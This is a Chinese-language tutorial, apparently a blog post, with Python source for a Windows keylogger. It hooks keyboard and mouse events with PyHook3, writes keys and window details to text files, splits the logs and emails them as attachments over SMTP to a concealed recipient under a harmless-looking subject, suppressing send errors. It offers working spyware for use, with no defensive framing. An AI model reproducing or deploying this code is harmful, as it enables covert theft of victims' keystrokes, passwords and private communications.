一. 环境以及工具

环境：win10，Python3.6

工具：JetBrains PyCharm 2018.1.4

二. 使用的第三方库：

import os
import smtplib  #发送邮件
import time
import threading
import email

下面这三个库主要用来监听：

import PyHook3
import pythoncom
from past.builtins import xrange

若环境没有自带以上第三方库，可以参照如下图示方法导入，或者自行谷歌

导入第三方库

三. 实现监听键盘、鼠标动作

使用PyHook3、pythoncom库监听键盘、鼠标事件

    # 创建监听对象
    manager = PyHook3.HookManager()

    # 监听所有键盘事件
    manager.KeyDown = on_keyboard_event
    # 设置键盘监听
    manager.HookKeyboard()

    # 循环监听, 若不手动关闭, 程序将一直处于监听状态
    pythoncom.PumpMessages()

on_keyboard_event是用来打印监听信息的函数

def on_keyboard_event(event):
    """
    监听键盘事件
    :param event:
    :return: 同鼠标监听事件的返回值
    """

    print('================== start listening keyboard ====================')
    print('MessageName: ', event.MessageName)
    print('Message: ', event.Message)
    print('Time: ', event.Time)
    print('Window: ', event.Window)
    print('Ascii: ', event.Ascii, chr(event.Ascii))
    print('Key: ', event.Key)
    print('KeyID: ', event.KeyID)
    print('ScanCode: ', event.ScanCode)
    print('Extended: ', event.Extended)
    print('Injected: ', event.Injected)
    print('Alt: ', event.Alt)
    print('Transition: ', event.Transition)
    print('================== start listening keyboard ====================')

    return True

返回“True”，用于持续监听，监听鼠标的实现与监听键盘类似。

四. 将监听信息写入文件

将打印在控制台的监听键盘信息写入到当前目录的txt文件中

def on_keyboard_event(event):
    """
    将监听的键盘信息写入文件
    :param event:
    :return:
    """
    with open('./keyboard.txt', 'a+') as f:
        f.write(
            '事件: ' + event.MessageName + ', 时间: ' + format_time() + ', 窗口信息: '
            + str(event.Window) + ', 键值: ' + event.Key + ', 键ID: ' + str(event.KeyID) + '\r\n')

    return True

五. 分割监听信息文件

按照文件内容分割，而不是按照文件大小。因为按照文件大小分割时，部分相连的内容将会被分割到两个文件中。

    def split_file(self):
        """
        按照内容行数分割
        :return:
        """
        with open(self.fileName + '.txt', 'r') as f:
            global index
            while 1:
                index += 1
                try:
                    with open(self.fileName + '_%d.txt' % index, 'w') as temp:
                        for _ in xrange(self.Size):
                            temp.write(f.__next__())
                except StopIteration:
                    break

    def timer_split_file(self):
        """
        超过指定行数则分割
        :return:
        """
        with open(self.fileName + '.txt', 'r') as f:
            lines = f.readlines()
            if lines.__len__() > self.Size:
                self.split_file()

六. 将监听信息发送到指定邮箱

利用邮箱相互发送邮件的方式发送监听信息，所以必须开启发送者邮箱的POP3/SMTP服务。监听信息文件以附件的形式发送。若开启了POP3/SMTP服务，而接受者没有看到邮件，可能邮件在接受者邮箱的垃圾箱中。

    @staticmethod
    def send_email():
        host = 'smtp.163.com'  # 设置邮件服务器
        user = 'svip*****@163.com'  # 发送者
        password = 'smt*****1'  # 客户端授权密码

        sender = 'svip******@163.com'  # 匿名发送
        receiver = ['1341****1@qq.com']  # 接收邮件

        # 构造邮件对象
        msg = MIMEMultipart('alternative')
        msg['From'] = sender
        msg['To'] = ";".join(receiver)
        msg['Subject'] = Header('Have a nice day,How are you?', 'utf-8')
        msg['Message-id'] = make_msgid()
        msg['Date'] = formatdate()
        message = MIMEText('this is today content', 'plain', 'utf-8')
        msg.attach(message)

        # 构造附件对象,发送鼠标监听信息
        if index != 0:
            for num in range(1, index + 1):
                mouse_file_name = './mouse_' + str(num) + '.txt'
                mouse_file = open(mouse_file_name, 'rb').read()
                mouse_send = MIMEText(mouse_file, 'base64', 'utf-8')
                mouse_send['Content-Type'] = 'application/octet-stream'
                mouse_send['Content-Disposition'] = 'attachment;filename=' + mouse_file_name
                msg.attach(mouse_send)

        # 发送键盘监听信息
        key_file = open('./keyboard.txt', 'rb').read()
        key_send = MIMEText(key_file, 'base64', 'utf-8')
        key_send['Content-Type'] = 'application/octet-stream'
        key_send['Content-Disposition'] = 'attachment;filename=keyboard.txt'
        msg.attach(key_send)

        # 发送邮件
        try:
            mail = smtplib.SMTP_SSL(host, 465)
            mail.login(user, password)
            mail.sendmail(sender, receiver, msg.as_string())
            mail.quit()
        except smtplib.SMTPException:
            # 异常信息不捕获
            pass

七. bug and solve

Warning 01:

This inspection detects any methods which may safely be made static.

Solution 01:

在方法上面加: @staticmethod

Error 02:

TypeError: main() missing 1 required positional argument: 'self'

Solution 02:

先实例化类, 再使用类

e.g.

listening = Listening()

listening.main()

Error 03:

TypeError: 'float' object is not callable

Solution 03:

变量名与方法名冲突,或者与关键字冲突

Error 04:

email.errors.MultipartConversionError:Cannot attach additional subparts to non-multipart/*

Solution 04:

没有创建带附件的实例

e.g.

msg = MIMEMultipart('mixed')

Error 05:

使用smtp.qq.com发送邮件时:Connection unexpectedly closed

Solution 05:

发送者邮箱没有开启POP3/SMTP服务

e.g.

Error 06:

smtplib.SMTPHeloError: (500, b'Error: bad syntax')

Solution 06:

‘DHCP HOST’ 带有空格, 解决办法, 参照: https://bookfere.com/post/564.html
